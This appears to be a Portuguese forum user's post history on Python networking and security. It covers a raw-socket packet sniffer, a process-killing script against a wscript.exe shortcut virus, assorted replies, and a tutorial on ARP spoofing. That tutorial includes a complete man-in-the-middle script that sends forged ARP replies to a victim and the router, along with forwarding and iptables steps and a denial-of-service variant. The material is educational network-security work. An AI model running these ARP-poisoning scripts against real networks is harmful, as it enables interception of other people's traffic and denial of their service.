  10. Saudações, venho por este meio, partilhar convosco alguns dos conhecimentos que tenho vindo a adquirir ao longo do tempo, na manipulação de pacotes e sua análise com python, aquilo que sei não é nada demasiado avançado, mas acho que pode ajudar algumas pessoas a alargar horizontes, para outras matérias que estão relacionadas com isto, e também vai-me permitir consolidar conceitos e explorar mais, e adquirir mais conhecimentos, blá blá blá.... Este conteúdo vai estar dividido em vários posts dai o titulo ser "O inicio", não sei quantos posts vão ser nem sei com que regularidade irei fazer esses posts... Vai estar dividido em vários posts porque acho que sendo conteúdo mais pequeno com mais detalhes possiveis( dentro dos meus conhecimentos), é mais fácil, para quem tem menos conhecimento sobre o assunto, pode amadurecer as ideias que serão passadas. Este conteúdo está sujeito a erros de interpretação por parte da minha pessoa, se vires algum erro ou achas que tens algo a acrescentar deixa nos comentários para ser corrigido/adicionado... Algum do texto que explica alguns conceitos relacionado com redes e formatos de pacotes foi retirado deste livro que já recomendei anteriormente... Vamos iniciar, boa sorte... Apenas consegues receber os pacotes que chegam à tua máquina o código deve ser executado como root. #coding:utf-8 #!/usr/bin/env python3 from socket import * import struct # AF_PACKET Familia protocolo (everywere) # ntohs(0x0003) - Permite capturar todos os pacotes com frames ethernet sock = socket(AF_PACKET, SOCK_RAW, ntohs(0x0003)) while True: raw_dados, addr = sock.recvfrom(65536) print(raw_dados) """ socket.ntohs( x ) Converte inteiros positivos de 16 bits da rede para a ordem de bytes do host. Nas máquinas em que a ordem de bytes do host é igual à ordem de bytes da rede, isso é um não operacional; caso contrário, ele executará uma operação de troca de 2 bytes. “”” A variável raw_dados recebe uma string com os dados recebidos. Relaxa irmão o que acabaste de ver não é voodoo …. É apenas a string que vamos extrair os dados do frame ethernet. Vamos ver que tipo de dados recebe a variável raw_dados fazendo um print com a função built-in do python type()... #coding:utf-8 #!/usr/bin/env python3 from socket import * import struct # AF_PACKET Familia protocolo (everywere) # ntohs(0x0003) - Permite capturar todos os pacotes com frames ethernet sock = socket(AF_PACKET, SOCK_RAW, ntohs(0x0003)) while True: raw_dados, addr = sock.recvfrom(65536) print(type(raw_dados)) """ socket.ntohs( x ) Converte inteiros positivos de 16 bits da rede para a ordem de bytes do host. Nas máquinas em que a ordem de bytes do host é igual à ordem de bytes da rede, isso é um não operacional; caso contrário, ele executará uma operação de troca de 2 bytes. “”” Podemos ver que está a chegar em formato de bytes, byte-order.. Então temos que tratar esses bytes para extrair os valores que vêm no frame ethernet, para isso temos fazer uma função para esse efeito. Mas antes vamos ver alguns conceitos sobre frame ethernet e algumas características do pacote. Formato do frame Ethernet e tamanho de pacote Bibliografia: INTERLIGAÇÃO DE REDES COM TCP/IP Capitulo 2 Visto isto já sabemos o tamanho campos de um frame ethernet, vamos ver a quantidade de bytes que temos que extrair usando a função struct do python…. O campo tipo de frame diz-nos que tipo de pacote está a chegar e em que protocolo se desloca, a carga útil de frames é os dados e informação relacionada com esses pacotes. Então vamos fazer a função para trabalhar os frames ethernet… # Na função struct # 6s -> indica tamanho 6 bytes dos campos endereço destino e endereço fonte com o MAC # H -> indica tamanho 2 bytes do campo tipo de frame def ethernet_frame(raw_dados): mac_destino, mac_fonte, protocolo = struct.unpack('! 6s 6s H', raw_dados[:14]) return mac_destino, mac_fonte, protocolo, raw_dados[14:] O que estamos a fazer é passar a variável raw_dados onde é feito o fatiamento dos primeiros 14 ( raw_dados[:14] ) bytes do pacote dos campos endereço destino, endereço fonte, tipo de frame, e é feito o seu desempacotamento, retornando os valores referidos,o resto dos dados dos pacote relacionado com a carga util, é extraida com um fatiamento dos primeiros 14 bytes para a frente ( raw_dados[14:], é aqui que vamos buscar a informação dos cabeçalhos dos pacotes que chegam ). script: #coding:utf-8 #!/usr/bin/env python3 from socket import * import struct # AF_PACKET Familia protocolo (everywere) # ntohs(3) - Permite capturar todos os pacotes com frames ethernet def ethernet_frame(raw_dados): mac_destino, mac_fonte, protocolo = struct.unpack('! 6s 6s H', raw_dados[:14]) return mac_destino, mac_fonte, protocolo, raw_dados[14:] sock = socket(AF_PACKET, SOCK_RAW, ntohs(0x0003)) while True: raw_dados, addr = sock.recvfrom(65536) mac_destino, mac_fonte, protocolo, carga_util = ethernet_frame(raw_dados) print("Endereço MAC destino : {}".format(mac_destino)) print("Endereço MAC fonte : {}".format(mac_fonte)) print("Protocolo : {}\n".format(protocolo)) print("Carga útil -> {}\n".format(carga_util)) """ socket.ntohs( x ) Converte inteiros positivos de 16 bits da rede para a ordem de bytes do host. Nas máquinas em que a ordem de bytes do host é igual à ordem de bytes da rede, isso é um não operacional; caso contrário, ele executará uma operação de troca de 2 bytes. """ Com isto já podemos ver alguma coisa… seja como for ainda não conseguimos ver nada que seja legivel para nós humanos, pelo menos para as pessoas normais 😛 . Temos que tratar os endereços MAC, e o protocolo, vamos fazer uma função para trabalhar o MAC. A função que segue pode ser feito de várias maneiras, se conheces outra, faz como achares melhor para ti. def byte_to_hex_mac(mac_em_bytes): endereco = binascii.hexlify(mac_em_bytes).decode("ascii") return ":".join([endereco[i:i+2] for i in range(0,12,2)]) Agora vamos à função ethernet_frame passar os valores do mac em bytes que estão a ser retornados nessa função, como argumentos para a função byte_to_hex_mac . E já agora tratamos também da variável protocolo passando-a como argumento pela função htons da lib socket. socket.htons( x ) Converte inteiros positivos de 16 bits da ordem de bytes do host para a rede. Nas máquinas em que a ordem de bytes do host é igual à ordem de bytes da rede, isso é um não operacional; caso contrário, ele executará uma operação de troca de 2 bytes. Deve ficar assim… def ethernet_frame(raw_dados): mac_destino, mac_fonte, protocolo = struct.unpack('! 6s 6s H', raw_dados[:14]) return byte_to_hex_mac(mac_destino), byte_to_hex_mac(mac_fonte), htons(protocolo), raw_dados[14:] Script completo …. #coding:utf-8 #!/usr/bin/env python3 from socket import * import struct import binascii # AF_PACKET Familia protocolo (everywere) # ntohs(3) - Permite capturar todos os pacotes com frames ethernet def ethernet_frame(raw_dados): mac_destino, mac_fonte, protocolo = struct.unpack('! 6s 6s H', raw_dados[:14]) return byte_to_hex_mac(mac_destino), byte_to_hex_mac(mac_fonte), htons(protocolo), raw_dados[14:] def byte_to_hex_mac(mac_em_bytes): endereco = binascii.hexlify(mac_em_bytes).decode("ascii") return ":".join([endereco[i:i+2] for i in range(0,12,2)]) sock = socket(AF_PACKET, SOCK_RAW, ntohs(0x0003)) while True: raw_dados, addr = sock.recvfrom(65536) mac_destino, mac_fonte, protocolo, carga_util = ethernet_frame(raw_dados) print("Endereço MAC destino : {}".format(mac_destino)) print("Endereço MAC fonte : {}".format(mac_fonte)) print("Protocolo : {}\n".format(protocolo)) print("Carga útil -> {}\n".format(carga_util)) """ socket.ntohs( x ) Converte inteiros positivos de 16 bits da rede para a ordem de bytes do host. Nas máquinas em que a ordem de bytes do host é igual à ordem de bytes da rede, isso é um não operacional; caso contrário, ele executará uma operação de troca de 2 bytes. ------------------------------------------------------------------------------ socket.htons( x ) Converte inteiros positivos de 16 bits da ordem de bytes do host para a rede. Nas máquinas em que a ordem de bytes do host é igual à ordem de bytes da rede, isso é um não operacional; caso contrário, ele executará uma operação de troca de 2 bytes. """ Executar-mos o script... Já conseguimos ver que há um endereço MAC da placa de rede que recebe os pacotes, podemos ver também que é o router que está a fazer esse envio, e também já temos um número de protocolo... esse número de protocolo está associado ao protocolo em que o pacote se desloca... Depois é só fazer funções para analisar a carga util que lá vem. Mas isso fica para uma próxima, agora treina bem os conceitos anteriores, não vale fazer copy / paste, tens que escrever código. Abraço.
  11. gnoo

    Vacina: Vírus atalho

    @Aof Obrigado pelo apoio, esse script do ponto de vista técnico, não está grande coisa, eu fiz esse código quando tinha 5 min. disponiveis do meu dia a dia e fui montando o código sem estar preocupado com a parte tecnica ma sim a informação que poderia ser manipulada através dele, afinal é apenas um script que está numa fase inicial. Não saber programação orientada a objetos não é grave, uma vez que já tens conhecimentos de python e vontade de aprender, se gastares um mês de volta dos conceitos básicos da POO vais ter conhecimentos para começar a desenvolver as tua proprias coisas. De inicio eu pensei em meter o objeto Gestor_de_Ficheiros a receber como herança os atributos e métodos do Monitor_de_processos... mas depois decidi não fazer para ficar mais simples para quem vai ler, especialmente se não tem conhecimentos sobre POO. Eu resolvi fazer o código desta forma porque a abordagem de estar a abrir processos e subprocessos nesta situação não é interessante especialmente quando tens que estar a analisar o comportamento do virus, processos gerados, ficheiros gerados, esses subprocessos são interessantes quando queremos realizar uma tarefa muito especifica em que biblioteca que estas a trabalhar não consegue chegar lá e resolver. Eu acho que devias criar tu o repositório uma vez que o desafio foi criado por ti, e uma vez que a tua àrea de interesse é análise de malware devias tentar tratar a ofuscação do código do virus que mandas-te e perceber que àreas do sistema são afetadas entre outras coisas, era um bom contributo para a criação da tua vacina. Abraço.
  12. gnoo

    Vacina: Vírus atalho

    Saudações, venho aqui deixar o meu contributo para o código do @Aof. @Fernando Mercês se calhar era interessante abrir um desafio para explorar este virus, especialmente como, trabalhar a ofuscação do código. @Aof acho que devias criar um repositório para quem quer fazer a sua contribuição para a "vacina" que tu tanto procuras, e talvez ficasse este tópico para discussão. Eu não continuei este código porque não tenho tempo para fazer isto sozinho neste caso a contribuição de todos, é bem vinda. requirements.txt re os psutil prettytable vacina.py import os import re import psutil from prettytable import PrettyTable class Monitor_de_Processos(object): def __init__(self): self.padrao_regex = re.compile(r'wscript.exe') def procura_info_processo_decorrer_sistema(self): for processo in psutil.process_iter(): try: codigo_execucao = 0 atributos_processo = processo.as_dict(attrs=['pid','name','username']) #Devolve dicionario com info do processo wscript.exe(pid , name, username) if self.padrao_regex.match(atributos_processo['name']): #Expressão regular para encontrar processo wscript.exe no resultado da linha anterior return atributos_processo['pid'], atributos_processo['name'], atributos_processo['username'], codigo_execucao # retorna info do dicionário except: # Se o processo wscript.exe não estiver ativo o programa sai no ultimo ( except ) no fim do código pass def info_processo_descendente(self, processo_id): numero_key = 0 lista_processos_child = {} for x in psutil.Process(processo_id).children():# Verifica processos child """ A variável (numero_key) com valor zero aparece porque o dicionário (lista_processos_child) recebe o valor de X também enquanto dicionário, uma vez que as keys do dicionário (pid,name) são constantes, e em python os dicionários quando recebem Keys iguais às que já lá se encontram, a cada update são subscritas as keys anteriores com o mesmo nome, ficando apenas a ùltima key e o seu valor, a entrar. Usei a variável (numero_key) a incrementar a cada iteração para criar um dicionário aninhado, assim é criado uma key com número 1 que recebe como valor o dicionario de x... esse valor é incrementado a cada itereção dependendo do número de processos filho encontrados, assim sendo todos os processos são adicionados ao dicionário e nenhum é subscrito. """ numero_key += 1 lista_processos_child[numero_key] = (x.as_dict(attrs=['pid','name']))# Dicionário lista_processos_child, recebe valor de x como dicionário # ficando dicionários aninhados return lista_processos_child, numero_key # Esta função testa se os processos child do prcesso wscript.exe, têm processos descendentes def descendente_processo_descendente(self, descendente_processo_id): numero_key = 0 child_processos_child = {} for x in psutil.Process(descendente_processo_id).children(): numero_key += 1 child_processos_child[numero_key] = (x.as_dict(attrs=['pid','name'])) return child_processos_child, numero_key def termina_processos(self, atributos_processo_id): wscript_id = psutil.Process(atributos_processo_id) #Identifica processo wscript.exe for child in wscript_id.children(recursive=True): child.kill() # Termina processos filho antes de terminar processos wscript.exe wscript_id.kill() # Termina processo wscript.exe class Gestor_de_Ficheiros(object): #def __init__(self): # self.extencao_exe = '.exe' # self.extencao_js = '.js' # self.extencao_txt = '.txt' def localiza_ficheiros_diretorios_childs(self, processo_child): """ ESTA FUNÇÃO NECESSITA SER TRABALHADA MEDIANTE CONCLUSÕES FUTURAS SOBRE O COMPORTAMENTO DOS PROCESSOS DETETADOS... Os agurmento que esta função recebe estão armazenados na lista ( lista_ficheiros_localizar), são os childs do processo wscript.exe... ATENÇÃO: (Aparentemente) O mesmo ficheiro dá origem a dois processos diferentes a trabalhar em simultâneo, essa é a razão pela qual a lista contém dois processos com o mesmo nome. O RESULTADO DESTA FUNÇÃO DUPLICA O MESMO RESULTADO, DEVE SER CONSIDERADA UMA SOLUÇÃO PARA ESSE EFEITO. """ for root,diretorios,ficheiros in os.walk("c:\\"): for ficheiros in ficheiros: if ficheiros == processo_child: print("Caminho para ficheiro\n-> ",os.path.join(root,ficheiros)) # Devolve a localização do ficheiro child de wscript.exe """ A linha que segue deve ser tida em conta na altura de fazer a função que elemina a pasta que contém os ficheiros que devem ser eleminados. """ # Devove o nome do diretório onde se encontra o ficheiro child anterior print("Diretório onde se situa o ficheiro\n-> ",os.path.basename(os.path.dirname(os.path.join(root,ficheiros)))) def elemina_ficheiros_e_diretorios(self, nome_ficheiro, nome_diretorio): """ Esta função deve ser feita depois de perceber que ficheiros são gerados e onde estão localizados no sistema. ATENÇÃO: Os parâmetros desta função não devem ser considerados, são apenas considerações para alterações futuras. """ pass def obter_resposta_utilizador(pergunta): while True: resposta = input(pergunta).strip().lower() # Se a resposta for "s" termina processos filho e processo pai if resposta == 's': Monitora_processo.termina_processos(atributos_processo_id) print("Processos Terminados!") break # Se resposta for "n" termina o programa, processos continuam ativos elif resposta == 'n': print("Programa terminado pelo utilizador, processos continuam ativos...") break else: print("Resposta de ser s/n...") if __name__ == '__main__': Monitora_processo = Monitor_de_Processos() # Inicia Objecto Gestor_ficheiros = Gestor_de_Ficheiros() lista_ficheiros_localizar = [] # Recebe nome dos processos (ficheiros), para apagar # PrettyTable é uma biblioteca que posiciona, valores em células("Planilhas") tabela_processo = PrettyTable() tabela_processo.field_names = ["Nome Proc.", "Proc ID", "Usuário"] tabela_processo_child = PrettyTable() tabela_processo_child.field_names = ["Proc. child", "child ID", " ", "Nome Proc.", "Proc ID"] tabela_child_processo_child = PrettyTable() tabela_child_processo_child.field_names = ["Proc. child", "child ID", " ", "Proc. descendente de child", "descendente ID"] try: atributos_processo_id, atributos_processo_name, atributos_processo_username, codigo_execucao = Monitora_processo.procura_info_processo_decorrer_sistema() lista_processos_child, numero_key = Monitora_processo.info_processo_descendente(atributos_processo_id) if codigo_execucao == 0: tabela_processo.add_row([atributos_processo_name, atributos_processo_id, atributos_processo_username]) for child in lista_processos_child: lista_ficheiros_localizar.append(lista_processos_child[child]['name']) tabela_processo_child.add_row([lista_processos_child[child]['name'], lista_processos_child[child]['pid'], " de ", atributos_processo_name, atributos_processo_id]) try: for child_id in lista_processos_child: child_processos_child, _ = Monitora_processo.descendente_processo_descendente(lista_processos_child[child_id]['pid']) if len(child_processos_child) == 0: tabela_child_processo_child.add_row([lista_processos_child[child_id]['name'], lista_processos_child[child_id]['pid'], " ", "NÃO EXISTE", "---"]) else: tabela_child_processo_child.add_row([lista_processos_child[child_id]['name'], lista_processos_child[child_id]['pid'], " ", child_processos_child[child_id]['name'], child_processos_child[child_id]['pid'] ]) except: pass print(tabela_processo) print(tabela_processo_child) print(tabela_child_processo_child) for processo_child in lista_ficheiros_localizar: Gestor_ficheiros.localiza_ficheiros_diretorios_childs(processo_child) # A ação da linha que segue, mediante a resposta do utilizador, # está posicionada na função (obter_resposta_utilizador) obter_resposta_utilizador("Queres terminar processos e apagar os ficheiros?[s/n] ") except : print("Processo wscript.exe não foi encontrado") simplescreenrecorder-2018-12-16_17.01.52.mp4
  13. gnoo

    Boletins semanais

    Os boletins que recebes no teu email com o qual fizeste a inscrição neste forum (mente binária), recebes um email todas as segundas feiras, se não estou em erro .
  14. gnoo

    Vacina: Vírus atalho

    @Aof envia-me esse link em mensagem privada se faz favor.
  15. gnoo

    Vacina: Vírus atalho

    @Aof o código fico bom, sabes onde posso arranjar um virus, coisa básica, que faça uso do wscript.exe, para ver como ele funciona? Eu preciso ver esse processo a decorrer no sistema, à alguma coisa na tua lógica que eu não estou a perceber, tu começas a tentar terminar um processo que eventualmente está a decorrer no sistema sem antes ver se ele está ativo, há alguma razão para isso? Mesmo depois de "finalizar o processo" e enviar uma mensagem a dizer que nada foi encontrado, continuas à procura nos directórios por um suposto arquivo .exe e .js. Uma questão, porquê que estás a ir neste caminho em especifico? "C:\\Users\\"+username+"\\AppData\\Roaming\\" Se souberes de algum virus desse para eu executar numa vm e ver como os processos decorrem, deixa ai link para baixar. abraço. :)
  16. gnoo

    Resolver Criptografia

    @thomaswpp tudo bem? De onde tiraste esse exercício? Estás a estudar isso por onde?
  17. gnoo

    Vacina: Vírus atalho

    olá @Aof tudo bem!? Seria interessante melhorar o nome das tuas variáveis para perceber melhor !? Outra questão e desculpa a minha ignorância( eu já não me lembro da ultima vez que usei windows não conheço os comandos), mas o que "taskkill /T /F /IM wscript.exe", faz?, a minha duvida tem a ver com estes "/T /F /IM". Outra coisa, esse executável "wscript.exe", é um arquivo especifico? (se sim onde baixar?), preciso executar ele durante os testes?, ou é apenas para exemplo? Abraço :)
  18. Saudações, neste tópico vou deixar alguma informação sobre o que é o protocolo ARP, como ele funciona e falar um pouco sobre ARP request, ARP reply que se traduz no ataque man-in-the-Middle, isto serve para eu consolidar alguns conceitos e também espero que sirva para quem se está a iniciar e já usa algumas ferramentas e roda uns comandos no terminal ou usa Scapy e quer saber um pouco mais do que acontece por baixo dos panos, manipular os seus próprios pacotes, se conseguirem acompanhar o meu raciocinio, vão conseguir ampliar um pouco mais a vossa visão e quem sabe abrir novos horizontes para outras coisas, este conteúdo reflete um pouco a minha experência durante o tempo que explorei este assunto. E também quero acreditar que se conseguires perceber mais ou menos o conteúdo que segue, a tua mãe vai ficar muito orgulhosa do filho/a que tem . Para seguir este conteúdo convém saber o básico de programação em python especialmente no que toca a raw sockets e da biblioteca struct, e também saber mexer minimamente no wireshark, estes conceitos básicos podem ser utilizados com outras linguagens de programação se forem deviamente adaptados. Os conceitos de redes aqui apresentados são retirados deste livro que recomendei anteriormente aqui: https://www.mentebinaria.com.br/forums/topic/427-livro-para-estudo-tcp-ip/ Os trechos de código aqui apresentados foram feitos para distros GNU/Linux, a distribuição utilizada foi debian, codename: Stretch. Então, vamos iniciar, boa sorte… Endereços 48-Bit Ethernet MAC (hardware) Bibliografia: interligação de redes com TCP/IP-vol. 1 6º edição capitulo 2 Formato do frame Ethernet e tamanho de pacote Bibliografia: interligação de redes com TCP/IP-vol. 1 6º edição capitulo 2 O que é o protocolo ARP e como funciona - IPv4 Bibliografia: interligação de redes com TCP/IP-vol. 1 6º edição capitulo 6 Encapsulamento e identificação do ARP Bibliografia: interligação de redes com TCP/IP-vol. 1 6º edição capitulo 6 Formato de mensagem ARP Bibliografia: interligação de redes com TCP/IP-vol. 1 6º edição capitulo 6 O cache ARP Bibliografia: interligação de redes com TCP/IP-vol. 1 6º edição capitulo 6 Como ver os endereços resolvidos na cache ARP do nosso sistema O exemplo que trago aqui, é feito em debian, eu faço essa distinção de distros porque o debian ao contrário de outras distribuições, atualmente, não chega com o pacote net-tools uma vez que está obsoleto, o pacote que vem no debian é o iproute2. Eu acredito que a maioria das distros tráz os dois pacotes instalados, caso o iproute2 não esteja instalado no sistema podes instalar, se te sentires mais à vontade com o net-tools usas esse, estás no teu direito, fazes como achares melhor. Comandos para consultar carche ARP -Pacote net-tools: $ arp -a -Pacote iproute2: $ ip n Rodando qualquer um destes comandos no terminal vai dar um resultado mais ou menos parecido a este: O endereço 192.168.1.1 é o endereço do nosso router ( o vosso pode ser diferente ), esse endereço está ali porque é o primeiro dispositivo a interagir com o nosso sistema na altura em que te ligas à internet e é ele que é o responsável por fazer o roteamento dos pacotes que saem da tua máquina, o nosso sistema vai estar a enviar pacotes para ele constantemente. Ativar IP forward IP forward é um recurso do Kernel Linux é o que nos vai permitir fazer o roteamento de pacotes através do nosso sistema entre dois ou mais dispositivos, neste caso entre o router e uma suposta vitima. O ip_forward fica no caminho /proc/sys/net/ipv4/ip_forward, com o comando cat podemos ver que o valor contido nele é zero, uma vez que como host comum não fazemos roteamento de pacotes. Para ativar esta funcionalidade substituimos o valor 0 pelo valor 1, para isso temos que elevar previlegios de administração e mudar utilzador para root. Agora que já vimos uns conceitos básicos de redes e algumas configurações básicas do nosso sistema.... Está na hora de começar a mexer com python. ARP request com python raw sockets Agora que já sabemos o que é um ARP request vamos ver como fazer isso com python. O código que segue tem que ser executado como root uma vez que estamos a trabalhar com raw sockets. import socket import struct import binascii raw = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0806)) raw.bind(("wlp3s0",socket.htons(0x0806))) mac_local = '<Aqui segue o MAC da tua máquina>' ip_local = "Aqui segue o IPv4 da tua máquina" mac_dest = 'ff:ff:ff:ff:ff:ff' ip_dest = "Aqui segue o IPv4 da máquina que está na rede" tipo_hardware = 1 tipo_protocol = 0x0800 len_hardware = 6 len_protocol = 4 operacao = 1 src_ip = socket.inet_aton(ip_local) dest_ip = socket.inet_aton(ip_dest) mac_dest_byte_order = binascii.unhexlify(mac_dest.replace(":", "")) mac_src_byte_order = binascii.unhexlify(mac_local.replace(":", "")) # Ethernet frame protocol = 0x0806 ethernet_frame = struct.pack("!6s6sH", mac_dest_byte_order, mac_src_byte_order, protocol) arp_header = struct.pack("!HHBBH6s4s6s4s",tipo_hardware, tipo_protocol, len_hardware, len_protocol, operacao, mac_src_byte_order, src_ip, mac_dest_byte_order, dest_ip) pacote = ethernet_frame + arp_header cont=0 while cont < 5: raw.send(pacote) cont += 1 Então temos duas máquinas , a 192.168.1.6 que é a máquina local, e a máquina 192.168.1.5 que é a que vamos enviar o request. Podem ver com o wireshark que aparece as expressões “ who as ” e “is at”… o “ who as” indica que está a ser feito um broadcast à nossa rede local em que a máquina 192.168.1.6 busca o endereço MAC da máquina 192.168.1.5 através de um ARP request, e por fim temos um “ is at ” que é a máquina 192.168.1.5 a enviar o seu endereço MAC através de um ARP reply. Conceito básico de Man-in-the-middle Já vimos que para obter o endereço MAC de uma máquina que está na rede fazemos um ARP request para toda a rede, o man in the middle, se nós queremos analisar o tráfego nos dois sentidos temos que dizer ao router que a máquina da vitima tem o nosso endereço MAC, e temos que dizer à máquina da vitima que o router tem o nosso endereço MAC, ou seja temos que fazer uma afirmação para esses dois dispositivos, isso traduz-se num ARP reply. Configuração iptables Uma boa fonte sobre este assunto é o livro segurança prática em sistemas e redes com Linux, do autor jorge granjal. O importante aqui antes de iniciar o man-in-the-middle é perceber como está definida a chain FORWARD, em que a sua politica que deve ACCEPT, apenas se o nosso sistema estiver a servir de router, que é exatamente isso que nós queremos, é fazer o roteamento dos pacotes entre vitima e o router. Se a politica da chain FORWARD estiver DROP , os pacotes que vêm da vitima quando chegarem à tua máquina o sistema vai “ deixar cair ” esse pacotes, dessa forma vais estar a negar o serviço à vitima… que vamos falar mais à frente. Alguns sistemas como o debian já vêm com FORWARD policy ACCEPT, nesse caso não é preciso fazer nenhuma alteração. No caso de a policy da chain FORWARD for DROP temos que fazer essa alteração para ACCEPT. Para ver como essas politicas estão definidas no nosso sistema usamos o comando iptables -L elevando privilégios de administração com sudo ou com utilizador root. Se estiver DROP como mostra a imagem… Nós não queremos isto, queremos FORWARD policy ACCEPT, a alteração dessa regra é feita com o o seguinte comando, iptables -P FORWARD ACCEPT , para ficar da seguinte forma… Agora que que já ativamos o IP Forward e configuramos o iptables podemos iniciar o man-in-the-middle. 😁 Man-in-the-middle com python raw sockets Executando o código que segue podemos olhar à cache ARP do nosso sistema para ver as alterações que surgem. import socket import struct import binascii from time import sleep raw = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0806)) raw.bind(("wlp3s0",socket.htons(0x0806))) src_mac = "Aqui vai o MAC da tua máquina" vit_mac = "Aqui vai o MAC da vitima" router_mac = "Aqui vai o MAC do router" ip_vitima = "Aqui vai o IPv4 da vitima" ip_router = "Aqui vai o IPv4 do router" type_hardware = 1 type_protocol = 0x0800 len_hardware = 6 len_protocol = 4 operacao_reply = 2 protocolo = 0x0806 vit_ip = socket.inet_aton(ip_vitima) router_ip = socket.inet_aton(ip_router) vit_mac_byte_order = binascii.unhexlify(vit_mac.replace(":", "")) src_mac_byte_order = binascii.unhexlify(src_mac.replace(":", "")) router_mac_byte_order = binascii.unhexlify(router_mac.replace(":", "")) ethernet_frame_vit = struct.pack("!6s6sH", vit_mac_byte_order, src_mac_byte_order, protocolo) ethernet_frame_router = struct.pack("!6s6sH", router_mac_byte_order, src_mac_byte_order, protocolo) arp_header_vit = struct.pack("!HHBBH6s4s6s4s",type_hardware, type_protocol, len_hardware, len_protocol, operacao_reply, src_mac_byte_order, router_ip, vit_mac_byte_order, vit_ip) arp_header_router = struct.pack("!HHBBH6s4s6s4s",type_hardware, type_protocol, len_hardware, len_protocol, operacao_reply, src_mac_byte_order, vit_ip, router_mac_byte_order, router_ip) pacote_vitima = ethernet_frame_vit + arp_header_vit pacote_router = ethernet_frame_router + arp_header_router while True: raw.send(pacote_vitima) raw.send(pacote_router) sleep(2) Comandos para consultar carche ARP -Pacote net-tools: $ arp -a -Pacote iproute2: $ ip n Na imagem que segue podemos ver que o router 192.168.1.1 tem o mesmo endereço MAC que a máquina 192.168.1.6 que é aquela de onde eu estou a fazer o ataque e onde passa o tráfego. No wireshark com filtro arp, podemos ver um reply que diz que o router 192.168.1.1 e a máquina 192.168.1.5 estão no endereço MAC c0:cb:38:8a:f0:0e da máquina 192.168.1.6. Observando o tráfego no wireshark Agora que temos o tráfego entre router e a máquina da vitima a passar pelo nosso sistema podemos observar o seu tráfego no wireshark com o filtro tcp. Imaginando que a vitima esta a aceder ao site do https://www.mentebinaria.com.br/ que se encontra no endereço 107.155.88.168, com o wireshark podemos ver o inicio dessa comunicação, a negociação entre a máquina 192.168.1.5 e o servidor 107.155.88.168. A partir daqui já sei que a máquina 192.168.1.5. está no site do mente binária. Dos ( denial of service ) Denial of service mais conhecido por Dos, traduz-se na negação de serviço de um ou mais hosts, aqui vamos dar como exemplo a maquina 192.168.1.5 anterior, o objetivo é impedir que ela faça requisições para fora da rede. Podemos fazer isto de duas formas, ou alteramos o valor do ip_forward para 0, ou alteramos a politica da chain FORWARD para DROP, e executamos o código anterior. Reestruturação da rede Quando finalizamos o ataque dizem que é boa prática reestruturar a rede, e se eles dizem é isso que nós fazemos… A logica disto é enviar um reply à máquina e ao router a dizer qual o endereço MAC real de cada dispositivo. Eu vou deixar um exemplo apenas para a máquina, em que dizemos o MAC real do router, o pacote para o router é só seguir o mesmo raciocinio. import socket import struct import binascii from time import sleep raw = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0806)) raw.bind(("wlp3s0",socket.htons(0x0806))) mac_local = 'Aqui vai o MAC da tua máquina' ip_local = "Aqui vai o IPv4 do router" mac_dest = 'Aqui vai o MAC da Vitima' ip_dest = "Aqui vai o IPv4 da vitima" mac_router = 'Aqui vai o MAC do router' tipo_hardware = 1 tipo_protocol = 0x0800 len_hardware = 6 len_protocol = 4 operacao = 2 src_ip = socket.inet_aton(ip_local) dest_ip = socket.inet_aton(ip_dest) mac_dest_byte_order = binascii.unhexlify(mac_dest.replace(":", "")) mac_src_byte_order = binascii.unhexlify(mac_local.replace(":", "")) mac_router_byte_order = binascii.unhexlify(mac_router.replace(":", "")) # Ethernet frame protocol = 0x0806 ethernet_frame = struct.pack("!6s6sH", mac_dest_byte_order, mac_src_byte_order, protocol) arp_header = struct.pack("!HHBBH6s4s6s4s",tipo_hardware, tipo_protocol, len_hardware, len_protocol, operacao, mac_router_byte_order, src_ip, mac_dest_byte_order, dest_ip) pacote = ethernet_frame + arp_header while True: raw.send(pacote) sleep(2) Se viste algum erro deixa nos comentários... Abraço.
  19. gnoo

    Quero me tornar um desenvolvedor de Games

    Olá @Henrique Morgani bem?, Mal não te vai fazer, especialmente se for o inicio de algo, se gostas de uma aprendizagem de um modo interactivo pode ser bom, se poderes pagar deves pensar que é um investimento e não um gasto, analisa bem esse e outros cursos faz comparações. Agora também tens de pensar já existe ai PDF's de livros sobre isso para quem quer ver online, e se optares por cursos em video em inglês provavelmente vais encontrar cursos para download sem pagar nada. Faz uma "googlenagem" mais ativa vais ver que encontras coisas interessantes por ai... Boa sorte :)
  20. gnoo

    Gerador de licença hexadecimal de 32

    @Erick de Souza vê no YouTube este canal que se chama curso em vídeo tem lá um curso de Python em português, o curso é bastante didático e bem feito, ele explica como instalar onde introduzir o código e efectuar todos os fundamentos que precisas saber de início segue o link do curso Ele tem outros cursos não sei se são bons eu só fiz o de marketing digital.
  21. gnoo

    Gerador de licença hexadecimal de 32

    @Erick de Souza Para iniciar em Python o pycharme poderá não ser o mais indicado porque necessitas algumas configurações. Tenta usar a IDLE do Python. @sombrakey o repl.it interpreta o código do Python em JavaScript apesar de ser uma ferramenta interessante pode conter algumas falhas na altura de interpretar esse código, eu próprio uso em circunstâncias muito específicas e já reportei pelo menos dois bugs.
  22. gnoo

    TCP Handshake com python socket

    Saudações, o objetivo deste tópico é consolidar conhecimentos aumentando as minhas competências pessoais, e também deixar alguma informação a outros utilizadores que muito provavelmente fazem uso da biblioteca socket do python, e executam um handshake cada vez que criam uma conexão e muito provavelmente nem dão por isso.... eu não vou aprofundar muito a questão com promenores tecnicos porque não tenho competências nem conhecimentos para tal, mas fica uma explicação bastante genérica e concisa com o pouco que sei que para alguns pode ser um ponto de partida para que possam alargar horizontes. De uma forma grosseira podemos dizer que um handshake ocorre no protocolo TPC resultado de uma negociação entre dois dispositivos podendo dar como exemplo um cliente e um servidor, onde ocorre um troca de pacotes entre eles, esses pacotes estão associados a um cabeçalho que contém um campo com informação de uma flag que é enviada, essas flags indicam o inicio de comunicação, a aceitação da comunicação neste caso do cliente com o servidor, e também são definidas flags para que seja terminada essa sessão. Cabeçalho TCP Os requisitos para este exemplo são a idle do python ou um editor de texto a vossa escolha, e o wireshark para observar essa troca de pacotes com as respetivas flags. Código python Em seguida devem iniciar o wireshark e escolher a interface da placa de rede que está em uso, e escolher como filtro o TCP, ele vai capturar apenas os pacotes que se deslocam nesse protocolo. Quando executam o código anterior podem ver que o wireshark capturou alguns pacotes entre o cliente e o servidor, onde podem ser vistas as flags que foram 